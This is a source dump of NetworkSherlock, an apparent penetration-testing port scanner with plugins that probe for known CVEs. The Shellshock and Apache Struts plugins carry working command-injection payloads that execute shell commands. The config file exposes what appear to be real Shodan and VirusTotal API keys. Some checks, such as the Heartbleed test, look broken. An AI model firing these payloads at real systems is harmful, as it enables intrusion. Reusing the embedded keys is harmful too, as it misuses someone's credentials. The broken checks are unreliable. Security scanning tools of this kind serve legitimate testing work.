├── .github ├── FUNDING.yml └── workflows │ └── python-publish.yml ├── LICENSE ├── Readme.md ├── config └── networksherlock.cfg ├── core ├── __init__.py └── modules │ ├── __init__.py │ └── arpdiscover.py ├── img ├── NetworkSherlock.png └── NetworkSherlock1.png ├── networksherlock.py ├── plugins ├── __init__.py ├── cveScanner │ ├── CVE_2014_0160_scanner.py │ ├── CVE_2014_6271_scanner.py │ ├── CVE_2017_0144_scanner.py │ ├── CVE_2017_5638_scanner.py │ ├── CVE_2018_11776_scanner.py │ ├── CVE_2019_0708_scanner.py │ ├── CVE_2020_0688_scanner.py │ ├── CVE_2020_0796_scanner.py │ ├── CVE_2020_1938_scanner.py │ ├── CVE_2022_1388_scanner.py │ ├── CVE_2022_22784_scanner.py │ └── __init__.py ├── main.py ├── onlinescanner │ ├── __init__.py │ └── shodanscanner.py ├── protocolscan │ ├── __init__.py │ ├── bannerScanner.py │ ├── databasesscanner.py │ ├── ftpanonloginscanner.py │ ├── osfingerscanner.py │ ├── sllscanner.py │ └── smbscanner.py └── webScanner │ ├── __init__.py │ ├── robotsscanner.py │ └── wafScanner.py └── requirements.txt /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: HalilDeniz 4 | patreon: denizhalil 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: https://www.buymeacoffee.com/halildeniz 14 | -------------------------------------------------------------------------------- /.github/workflows/python-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflow will upload a Python Package using Twine when a release is created 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python#publishing-to-package-registries 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Upload Python Package 10 | 11 | on: 12 | release: 13 | types: [published] 14 | 15 | permissions: 16 | contents: read 17 | 18 | jobs: 19 | deploy: 20 | 21 | runs-on: ubuntu-latest 22 | 23 | steps: 24 | - uses: actions/checkout@v3 25 | - name: Set up Python 26 | uses: actions/setup-python@v3 27 | with: 28 | python-version: '3.x' 29 | - name: Install dependencies 30 | run: | 31 | python -m pip install --upgrade pip 32 | pip install build 33 | - name: Build package 34 | run: python -m build 35 | - name: Publish package 36 | uses: pypa/gh-action-pypi-publish@27b31702a0e7fc50959f5ad993c78deac1bdfc29 37 | with: 38 | user: __token__ 39 | password: ${{ secrets.PYPI_API_TOKEN }} 40 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Halil Ibrahim Deniz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # **NetworkSherlock: Porwerfull Port Scanning With Shodan** 2 | 3 | 4 | **NetworkSherlock** is a powerful and flexible port scanning tool designed for network security professionals and penetration testers. 5 | With its advanced capabilities, NetworkSherlock can efficiently scan IP ranges, CIDR blocks, and multiple targets. 6 | It stands out with its detailed banner grabbing capabilities across various protocols and integration with Shodan, the world's premier service for scanning and analyzing internet-connected devices. 7 | This Shodan integration enables NetworkSherlock to provide enhanced scanning capabilities, giving users deeper insights into network vulnerabilities and potential threats. 8 | By combining local port scanning with Shodan's extensive database, NetworkSherlock offers a comprehensive tool for identifying and analyzing network security issues. 9 | 10 | 11 | ## **Features** 12 | 13 | - Scans multiple IPs, IP ranges, and CIDR blocks. 14 | - Supports port scanning over TCP and UDP protocols. 15 | - Detailed banner grabbing feature. 16 | - Ping check for identifying reachable targets. 17 | - Multi-threading support for fast scanning operations. 18 | - Option to save scan results to a file. 19 | - Provides detailed version information. 20 | - Colorful console output for better readability. 21 | - Shodan integration for enhanced scanning capabilities. 22 | - Configuration file support for Shodan API key. 23 | 24 | 25 | ## **Installation** 26 | NetworkSherlock requires Python 3.6 or later. 27 | 28 | 1. Clone the repository: 29 | ```bash 30 | git clone https://github.com/HalilDeniz/NetworkSherlock.git 31 | ``` 32 | 2. Install the required packages: 33 | ```bash 34 | pip install -r requirements.txt 35 | ``` 36 | ## Configuration 37 | 38 | Update the `networksherlock.cfg` file with your Shodan API key: 39 | 40 | ```ini 41 | [SHODAN] 42 | api_key = YOUR_SHODAN_API_KEY 43 | ``` 44 | 45 | ## **Usage** 46 | 47 | ```bash 48 | python3 networksherlock.py --help 49 | usage: networksherlock.py [-h] [-p PORTS] [-t THREADS] [-P {tcp,udp}] [-V] [-s SAVE_RESULTS] [-c] target 50 | 51 | NetworkSherlock: Port Scan Tool 52 | 53 | positional arguments: 54 | target Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5, 55 | 192.168.1.0/24) 56 | 57 | options: 58 | -h, --help show this help message and exit 59 | -p PORTS, --ports PORTS 60 | Ports to scan (e.g. 1-1024, 21,22,80, or 80) 61 | -t THREADS, --threads THREADS 62 | Number of threads to use 63 | -P {tcp,udp}, --protocol {tcp,udp} 64 | Protocol to use for scanning 65 | -V, --version-info Used to get version information 66 | -s SAVE_RESULTS, --save-results SAVE_RESULTS 67 | File to save scan results 68 | -c, --ping-check Perform ping check before scanning 69 | -ad, --arp-discover: Perform ARP discovery on the specified network. 70 | --use-shodan Enable Shodan integration for additional information 71 | 72 | ``` 73 | ### **Basic Parameters** 74 | 75 | - `target`: The target IP address(es), IP range, or CIDR block to scan. 76 | - `-p`, `--ports`: Ports to scan (e.g., 1-1000, 22,80,443). 77 | - `-t`, `--threads`: Number of threads to use. 78 | - `-P`, `--protocol`: Protocol to use for scanning (tcp or udp). 79 | - `-V`, `--version-info`: Obtain version information during banner grabbing. 80 | - `-s`, `--save-results`: Save results to the specified file. 81 | - `-c`, `--ping-check`: Perform a ping check before scanning. 82 | - `--use-shodan`: Enable Shodan integration. 83 | 84 | ## Usage Examples 85 | 86 | Here are some usage examples of NetworkSherlock: [You can explore it here](https://denizhalil.com/2023/11/27/dosinator-denial-of-service-tool/) 87 | 88 | ## Contributing 89 | Contributions are welcome! To contribute to NetworkSherlock, follow these steps: 90 | 91 | 1. Fork the repository. 92 | 2. Create a new branch for your feature or bug fix. 93 | 3. Make your changes and commit them. 94 | 4. Push your changes to your forked repository. 95 | 5. Open a pull request in the main repository. 96 | 97 | ## Contact 98 | - Linktr :[Halil Deniz](https://linktr.ee/halildeniz) 99 | - LinkedIn : [Halil İbrahim Deniz](https://www.linkedin.com/in/halil-ibrahim-deniz/) 100 | - TryHackMe : [halilovic](https://tryhackme.com/p/halilovic) 101 | - Instagram : [deniz.halil333](https://www.instagram.com/deniz.halil333/) 102 | - YouTube : [HalilDeniz](https://www.youtube.com/c/HalilDeniz) 103 | - Email: halildeniz313@gmail.com 104 | 105 | 106 | ## License 107 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 108 | 109 | ## 💰 You can help me by Donating 110 | Thank you for considering supporting me! Your support enables me to dedicate more time and effort to creating useful tools like NetworkScherlock and developing new projects. By contributing, you're not only helping me improve existing tools but also inspiring new ideas and innovations. Your support plays a vital role in the growth of this project and future endeavors. Together, let's continue building and learning. Thank you!"
111 | [![BuyMeACoffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-ffdd00?style=for-the-badge&logo=buy-me-a-coffee&logoColor=black)](https://buymeacoffee.com/halildeniz) 112 | [![Patreon](https://img.shields.io/badge/Patreon-F96854?style=for-the-badge&logo=patreon&logoColor=white)](https://patreon.com/denizhalil) 113 | -------------------------------------------------------------------------------- /config/networksherlock.cfg: -------------------------------------------------------------------------------- 1 | [SHODAN] 2 | api_key = D8slrhiOMSsrUyZbypWbCZLz1riC9UU4 3 | 4 | [VIRUSTOTAL] 5 | api_key = f56fcfcf18dedec1a6e8bcf021b42788170edd43be63bb6045e9365f61067288 6 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/core/__init__.py -------------------------------------------------------------------------------- /core/modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/core/modules/__init__.py -------------------------------------------------------------------------------- /core/modules/arpdiscover.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from scapy.layers.l2 import ARP, Ether 3 | from scapy.sendrecv import srp 4 | 5 | class ArpDiscover: 6 | def __init__(self, iface): 7 | self.iface = iface 8 | 9 | def scan(self, target): 10 | arp = ARP(pdst=target) 11 | ether = Ether(dst="ff:ff:ff:ff:ff:ff") 12 | packet = ether / arp 13 | try: 14 | result = srp(packet, timeout=3, verbose=0, iface=self.iface)[0] 15 | except PermissionError: 16 | print("Error: You do not have sufficient privileges. Try running the program with 'sudo'.") 17 | exit() 18 | except OSError as e: 19 | if "No such device" in str(e): 20 | print(f"Error: Interface '{self.iface}' does not exist. \nPlease provide a valid interface name.") 21 | exit() 22 | else: 23 | raise 24 | 25 | devices = [] 26 | for sent, received in result: 27 | devices.append({'ip': received.psrc, 'mac': received.hwsrc, 'manufacturer': self.get_device_info(received.hwsrc)}) 28 | 29 | return devices 30 | 31 | @staticmethod 32 | def get_device_info(mac_address): 33 | try: 34 | url = f"https://api.macvendors.com/{mac_address}" 35 | response = requests.get(url) 36 | return response.text.strip() if response.status_code == 200 else "Unknown" 37 | except requests.exceptions.RequestException: 38 | return "Unknown" 39 | -------------------------------------------------------------------------------- /img/NetworkSherlock.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/img/NetworkSherlock.png -------------------------------------------------------------------------------- /img/NetworkSherlock1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/img/NetworkSherlock1.png -------------------------------------------------------------------------------- /networksherlock.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import socket 5 | import argparse 6 | import threading 7 | import ipaddress 8 | import subprocess 9 | from queue import Queue 10 | from colorama import Fore, Style, init 11 | 12 | from core.modules.arpdiscover import ArpDiscover 13 | from core.modules.arpdiscover import ArpDiscover 14 | 15 | from plugins.main import CVE_Scanner_Main 16 | 17 | from plugins.protocolscan.ftpanonloginscanner import FtpAnonLoginScanner 18 | from plugins.protocolscan.sllscanner import TLSCertScanner 19 | from plugins.protocolscan.osfingerscanner import OSFingerprintScanner 20 | from plugins.protocolscan.bannerScanner import BannerScanner 21 | from plugins.onlinescanner.shodanscanner import ShodanScanner 22 | from plugins.webScanner.robotsscanner import RobotsScanner 23 | from plugins.webScanner.wafScanner import WAFDetector 24 | 25 | #from plugins.protocolscan.smbscanner import SMBScanner 26 | 27 | init(autoreset=True) 28 | 29 | 30 | def read_ips_from_file(file_path): 31 | ips = [] 32 | try: 33 | with open(file_path, 'r') as file: 34 | for line in file: 35 | ip = line.strip() 36 | if ip: # Boş satırları atla 37 | ips.append(ip) 38 | except FileNotFoundError: 39 | print(f"Error: File not found at '{file_path}'") 40 | except IOError: 41 | print(f"Error: Could not read file '{file_path}'") 42 | return ips 43 | 44 | 45 | 46 | class NetworkSherlock: 47 | def __init__(self, targets, ports, threads=10, protocol='tcp', version_info=False, save_results=None, ping_check=False, config_file='config/networksherlock.cfg', use_shodan=False): 48 | self.targets = targets 49 | self.ports = ports 50 | self.threads = threads 51 | self.protocol = protocol 52 | self.version_info = version_info 53 | self.save_results = save_results 54 | self.ping_check = ping_check 55 | self.ip = None 56 | self.config_file = config_file 57 | self.use_shodan = use_shodan 58 | self.ssl_cert_details = {} 59 | if self.use_shodan: 60 | self.shodan_scanner = ShodanScanner(self.config_file) 61 | else: 62 | self.shodan_scanner = None 63 | 64 | def format_scan_time(self, seconds): 65 | minutes, seconds = divmod(seconds, 60) 66 | return f"{int(minutes)} minute {seconds:.2f} seconds" 67 | 68 | def port_scan(self, port): 69 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM if self.protocol == 'tcp' else socket.SOCK_DGRAM) 70 | sock.settimeout(1) 71 | result = sock.connect_ex((self.ip, port)) 72 | 73 | if result == 0: 74 | try: 75 | service = socket.getservbyport(port, self.protocol) 76 | except OSError: 77 | service = "unknown" 78 | 79 | if port == 21: 80 | ftp_scanner = FtpAnonLoginScanner(self.ip) 81 | if ftp_scanner.check_anon_login(): 82 | self.ftp_anon_accessible.append(port) 83 | 84 | if port == 443 and self.version_info: 85 | tls_scanner = TLSCertScanner(self.ip) 86 | try: 87 | cert_details = tls_scanner.get_certificate_details() 88 | if cert_details: 89 | self.ssl_cert_details[self.ip] = cert_details 90 | except Exception as e: 91 | pass 92 | 93 | banner = "" 94 | shodan_info = "" 95 | if self.version_info: 96 | banner_scanner = BannerScanner(self.ip, port) 97 | banner = banner_scanner.banner_grabbing() 98 | 99 | if self.use_shodan and self.shodan_scanner: 100 | shodan_result = self.shodan_scanner.perform_scan(socket.gethostbyname(self.ip)) 101 | shodan_info = self.shodan_scanner.format_shodan_info(shodan_result) 102 | 103 | if self.use_shodan: 104 | port_info = f"{port:<4}/{self.protocol} open {service:<14} {banner}\n{Fore.BLUE}From Shodan:{Style.RESET_ALL}\n{shodan_info}" 105 | else: 106 | port_info = f"{port:<4}/{self.protocol} open {service:<14} {banner}" 107 | 108 | self.open_ports.append(port_info) 109 | sock.close() 110 | def ping_check(self): 111 | command = ["ping", "-c", "1", self.ip] 112 | result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 113 | return result.returncode == 0 114 | 115 | def thread_process(self): 116 | while True: 117 | port = self.port_queue.get() 118 | if port is None: 119 | break 120 | self.port_scan(port) 121 | self.port_queue.task_done() 122 | 123 | def parse_targets(self, targets): 124 | parsed_targets = [] 125 | for target in targets.split(','): 126 | if '/' in target or '-' in target: 127 | if '-' in target: 128 | start_ip, end_ip = target.split('-') 129 | start_ip = ipaddress.ip_address(start_ip) 130 | end_ip = ipaddress.ip_address(end_ip) 131 | while start_ip <= end_ip: 132 | parsed_targets.append(str(start_ip)) 133 | start_ip += 1 134 | else: # CIDR Notation 135 | for ip in ipaddress.ip_network(target, strict=False): 136 | parsed_targets.append(str(ip)) 137 | else: 138 | parsed_targets.append(target.strip()) 139 | return parsed_targets 140 | 141 | def scan(self): 142 | if args.ip_file: 143 | targets = read_ips_from_file(args.ip_file) 144 | elif self.targets: 145 | targets = self.parse_targets(self.targets) 146 | else: 147 | print("Missing target argument. Use --help for more information.") 148 | return 149 | 150 | try: 151 | for target in targets: 152 | self.ip = target 153 | self.open_ports = [] 154 | self.ftp_anon_accessible = [] 155 | 156 | if self.ping_check and not self.ping_check(): 157 | continue 158 | 159 | # Port listesi oluştur 160 | if "-" in self.ports: 161 | start_port, end_port = map(int, self.ports.split('-')) 162 | ports = range(start_port, end_port + 1) 163 | elif "," in self.ports: 164 | ports = map(int, self.ports.split(',')) 165 | elif self.ports.isdigit(): 166 | ports = [int(self.ports)] 167 | else: 168 | print(f"{Fore.RED}Invalid port format.{Style.RESET_ALLs}") 169 | continue 170 | 171 | # Thread'leri başlat 172 | self.port_queue = Queue() 173 | for port in ports: 174 | self.port_queue.put(port) 175 | 176 | threads = [] 177 | for _ in range(self.threads): 178 | t = threading.Thread(target=self.thread_process) 179 | t.start() 180 | threads.append(t) 181 | 182 | for _ in range(self.threads): 183 | self.port_queue.put(None) 184 | 185 | for t in threads: 186 | t.join() 187 | 188 | # Açık portları yazdır 189 | if self.open_ports: 190 | print(f"********************************************") 191 | print(f"{Fore.GREEN}Scanning target:{Style.RESET_ALL} {target}") 192 | print(f"{Fore.GREEN}Scanning IP :{Style.RESET_ALL} {socket.gethostbyname(self.ip)}") 193 | print(f"{Fore.GREEN}Ports :{Style.RESET_ALL} {self.ports}") 194 | print(f"{Fore.GREEN}Threads :{Style.RESET_ALL} {self.threads}") 195 | print(f"{Fore.GREEN}Protocol :{Style.RESET_ALL} {self.protocol}") 196 | print(f"---------------------------------------------") 197 | if self.version_info: 198 | print(f"{Fore.RED}Port Status Service VERSION{Style.RESET_ALL}") 199 | else: 200 | print(f"{Fore.RED}Port Status Service{Style.RESET_ALL}") 201 | 202 | for port_info in self.open_ports: 203 | print(port_info) 204 | 205 | if self.version_info and ('80' in self.ports.split(',') or '443' in self.ports.split(',')): 206 | http_url = f"http://{self.ip}/robots.txt" 207 | https_url = f"https://{self.ip}" 208 | 209 | robots_scanner_https = RobotsScanner(https_url) 210 | robots_result_https = robots_scanner_https.run_scan() 211 | if robots_result_https: 212 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Robots.txt : {Fore.BLUE}{robots_result_https}{Style.RESET_ALL}") 213 | else: 214 | pass 215 | 216 | if args.waf and ('443' in self.ports.split(',')): 217 | https_url = f"https://{self.ip}" 218 | 219 | waf_detector_https = WAFDetector(https_url) 220 | waf_result_https = waf_detector_https.detect_waf() 221 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} WAF Detection : {Fore.BLUE}{waf_result_https}{Style.RESET_ALL}") 222 | 223 | 224 | if self.version_info and self.ftp_anon_accessible: 225 | for port in self.ftp_anon_accessible: 226 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Anonymous FTP login possible at: {Fore.BLUE}{self.ip}:{port}{Style.RESET_ALL}") 227 | 228 | if args.vuln: 229 | cve_scanner = CVE_Scanner_Main(self.ip) 230 | vuln_results = cve_scanner.run_all_scans(self.ports.split(',')) 231 | for vuln_name, is_vulnerable in vuln_results.items(): 232 | if is_vulnerable: 233 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {self.ip} is vulnerable to {vuln_name}") 234 | 235 | 236 | if args.os_fingerprint and self.open_ports: 237 | os_scanner = OSFingerprintScanner(self.ip) 238 | os_guess = os_scanner.guess_os() 239 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} OS Guess for The : {Fore.BLUE}{os_guess}{Style.RESET_ALL}") 240 | 241 | 242 | 243 | if self.ip in self.ssl_cert_details: 244 | cert_details = self.ssl_cert_details[self.ip] 245 | if "error" not in cert_details: 246 | print(f"{Fore.GREEN}[+] {Style.RESET_ALL}SSL/TLS Certificate Details : {Fore.BLUE}{self.ip}{Style.RESET_ALL}") 247 | for key, value in cert_details.items(): 248 | print(f"\t{Fore.GREEN}{key:<13}:{Style.RESET_ALL} {value}") 249 | else: 250 | pass 251 | 252 | if self.save_results: # Sonuçları dosyaya yaz 253 | with open(self.save_results, "a") as file: 254 | file.write(f"********************************************\n") 255 | file.write(f"Scanning target: {target}\n") 256 | file.write(f"Scanning IP : {socket.gethostbyname(self.ip)}\n") 257 | file.write(f"Ports : {self.ports}\n") 258 | file.write(f"Threads : {self.threads}\n") 259 | file.write(f"Protocol : {self.protocol}\n") 260 | file.write(f"---------------------------------------------\n") 261 | for port_info in self.open_ports: 262 | file.write(f"{port_info}\n") 263 | #file.write("---------------------------------------------\n") 264 | print(f"---------------------------------------------") 265 | except KeyboardInterrupt: 266 | print(f"\n{Fore.RED}[!] Interrupted by user. The program is terminating...{Style.RESET_ALL}") 267 | for t in threads: 268 | t.join() 269 | sys.exit(0) 270 | 271 | # Ana program akışı 272 | if __name__ == '__main__': 273 | parser = argparse.ArgumentParser(description='NetworkSherlock: Port Scan Tool') 274 | parser.add_argument('target', type=str, nargs='?', help='Target IP address(es), range, or CIDR (e.g., 192.168.1.1, 192.168.1.1-192.168.1.5, 192.168.1.0/24)') 275 | parser.add_argument('-p', '--ports', type=str, default='1-1000', help='Ports to scan (e.g. 1-1024, 21,22,80, or 80)') 276 | parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads to use') 277 | parser.add_argument('-P', '--protocol', type=str, default='tcp', choices=['tcp', 'udp'], help='Protocol to use for scanning') 278 | parser.add_argument('-V', '--version-info', action='store_true', help='Used to get version information') 279 | parser.add_argument('-s', '--save-results', type=str, help='File to save scan results') 280 | parser.add_argument('-c', '--ping-check', action='store_true', help='Perform ping check before scanning') 281 | parser.add_argument('-O','--os-fingerprint', action='store_true', help='Enable OS fingerprinting for each target (It may take a long time)') 282 | parser.add_argument('-v', '--vuln', action='store_true', help='Detect previously discovered vulnerabilities (It may take a long time)') 283 | parser.add_argument('--waf','--waf-detect', action='store_true', help='Detect Web Application Firewall (WAF) for each target') 284 | parser.add_argument('-f', '--ip-file', type=str, help='Read target IP addresses from a file') 285 | parser.add_argument('-ad','--arp-discover', type=str, help='Perform ARP discovery on the specified network (e.g., 10.0.2.0/24)') 286 | parser.add_argument('-i', '--iface', type=str, help='Network interface to use for ARP discovery') 287 | parser.add_argument('--use-shodan', action='store_true', help='Enable Shodan integration for additional information') 288 | args = parser.parse_args() 289 | 290 | if len(sys.argv) == 1: 291 | parser.print_help(sys.stderr) 292 | sys.exit(1) 293 | 294 | if args.arp_discover and args.iface: 295 | arp_scanner = ArpDiscover(args.iface) 296 | devices = arp_scanner.scan(args.arp_discover) 297 | if devices: 298 | ip_width = max(len(device['ip']) for device in devices) + 1 299 | mac_width = max(len(device['mac']) for device in devices) + 1 300 | manufacturer_width = max(len(device['manufacturer']) for device in devices) + 1 301 | for device in devices: 302 | print(f"{Fore.CYAN}IP:{Style.RESET_ALL} {device['ip']:<{ip_width}} {Fore.CYAN}MAC:{Style.RESET_ALL} {device['mac']:<{mac_width}} {Fore.CYAN}Manufacturer:{Style.RESET_ALL} {device['manufacturer']:<{manufacturer_width}}") 303 | else: 304 | print("No devices found on the network.") 305 | elif args.arp_discover or args.iface: 306 | parser.error("ARP discovery requires both --arp-discover and --iface arguments.") 307 | else: 308 | scanner = NetworkSherlock(args.target, args.ports, args.threads, args.protocol, args.version_info, args.save_results, args.ping_check, use_shodan=args.use_shodan) 309 | scanner.scan() 310 | -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/__init__.py -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2014_0160_scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import os 4 | import ssl 5 | import ssl 6 | class HeartbleedScanner: 7 | def __init__(self, target, port=443, timeout=5): 8 | self.target = target 9 | self.port = port 10 | self.timeout = timeout 11 | 12 | def construct_client_hello(self): 13 | hello_version = b'\x03\x02' # TLS 1.1 14 | random = os.urandom(32) 15 | session_id = b'\x00' 16 | cipher_suite = b'\x00\x02\x01\x00' # TLS_RSA_WITH_RC4_128_SHA 17 | compression_method = b'\x01\x00' # Null compression 18 | 19 | client_hello = b'\x16' + hello_version + struct.pack('>H', len(random) + len(session_id) + len(cipher_suite) + len(compression_method) + 2) + random + session_id + cipher_suite + compression_method 20 | 21 | return client_hello 22 | 23 | def recvmsg(self, sock): 24 | hdr = sock.recv(5) 25 | if len(hdr) != 5: 26 | return None, None, None 27 | 28 | typ, ver, ln = struct.unpack('>BHH', hdr) 29 | pay = sock.recv(ln, socket.MSG_WAITALL) 30 | 31 | if len(pay) != ln: 32 | return None, None, None 33 | 34 | return typ, ver, pay 35 | 36 | def check_vulnerability(self): 37 | client_hello = self.construct_client_hello() 38 | try: 39 | with socket.create_connection((self.target, self.port), self.timeout) as sock: 40 | # SSLContext nesnesi ile SSL bağlantısı oluşturun 41 | context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) 42 | context.set_ciphers('RC4-SHA') 43 | wrapped_sock = context.wrap_socket(sock, server_hostname=self.target) 44 | 45 | wrapped_sock.send(client_hello) 46 | while True: 47 | typ, ver, pay = self.recvmsg(wrapped_sock) 48 | if typ is None: 49 | return False 50 | if typ == 24: 51 | return True 52 | if typ == 21: 53 | return False 54 | except Exception as e: 55 | return False 56 | 57 | """ 58 | adres = "https://162.144.114.246/" 59 | scanner = HeartbleedScanner(adres) 60 | vulnerable = scanner.check_vulnerability() 61 | print(f"{adres} is vulnerable to Heartbleed: {vulnerable}") 62 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2014_6271_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from colorama import Fore, Style, init 3 | 4 | init(autoreset=True) 5 | 6 | class ShellshockScanner: 7 | def __init__(self, target): 8 | self.target = target 9 | 10 | def scan_for_shellshock(self): 11 | headers = { 12 | "User-Agent": "() { :;}; echo; echo Vulnerable to Shellshock: $(/bin/bash -c 'echo CVE-2014-6271')", 13 | "Referer": "() { :;}; echo; echo Vulnerable to Shellshock: $(/bin/bash -c 'echo CVE-2014-6271')" 14 | } 15 | try: 16 | response = requests.get(self.target, headers=headers, timeout=5) 17 | if "Vulnerable to Shellshock: CVE-2014-6271" in response.text: 18 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2014-6271 :{Fore.BLUE} https://www.exploit-db.com/exploits/34766{Style.RESET_ALL}") 19 | else: 20 | pass 21 | except requests.RequestException as e: 22 | pass 23 | """ 24 | # Örnek Kullanım 25 | shellshock_scanner = ShellshockScanner("http://47.106.98.190/cgi-bin/test.cgi") 26 | shellshock_scanner.scan_for_shellshock() 27 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2017_0144_scanner.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | from struct import pack 4 | from colorama import Fore, Style, init 5 | 6 | init(autoreset=True) 7 | 8 | class EternalBlueScanner: 9 | def __init__(self, ip_address): 10 | self.ip_address = ip_address 11 | self.smb_ports = [139, 445] 12 | 13 | def scan_for_eternalblue(self): 14 | for port in self.smb_ports: 15 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 16 | s.settimeout(3) 17 | try: 18 | s.connect((self.ip_address, port)) 19 | pkt = b'\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x17\x02' 20 | pkt += b'\x00\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 21 | pkt += b'\x00\x00\x24\x00\x01\x00\x31\x00\x02\x00\x01\x00\x00\x00\x00\x00' 22 | pkt += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd4\x00\x00\x00\x60\x00\x04\x00' 23 | pkt += b'\x02\x00\x31\x00\x00\x05\x00\x0e\x03\x10\x00\x00\x00\x00\x00\x00\x00' 24 | pkt += b'\x00\x00\x00\x00\x00' 25 | s.send(pkt) 26 | nb, = struct.unpack(">I", s.recv(4)) 27 | res = s.recv(nb) 28 | if res[9:13] == b'\x11\x03\x02\x00': 29 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {self.ip_address} is vulnerable to EternalBlue (CVE-2017-0144) on port {port}") 30 | else: 31 | pass 32 | except Exception as e: 33 | pass 34 | 35 | """ 36 | # Örnek Kullanım 37 | eternal_blue_scanner = EternalBlueScanner("35.190.109.30") 38 | eternal_blue_scanner.scan_for_eternalblue() 39 | """ -------------------------------------------------------------------------------- /plugins/cveScanner/CVE_2017_5638_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from colorama import Fore, Style, init 3 | 4 | init(autoreset=True) 5 | 6 | class ApacheStrutsScanner: 7 | def __init__(self, target_url): 8 | self.target_url = target_url 9 | 10 | def scan_for_apache_struts(self): 11 | headers = { 12 | "Content-Type": "application/xml", 13 | "User-Agent": "NetworkSherlock/1.0" 14 | } 15 | 16 | # Apache Struts CVE-2017-5638 için özel hazırlanmış istek 17 | payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\ 18 | "(#_memberAccess?(#_memberAccess=#dm):" \ 19 | "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ 20 | "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ 21 | "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())." \ 22 | "(#context.setMemberAccess(#dm))))." \ 23 | "(#cmd='echo Vulnerable').(#iswin=(@java.lang.System@getProperty('os.name')" \ 24 | ".toLowerCase().contains('win')))." \ 25 | "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ 26 | "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." 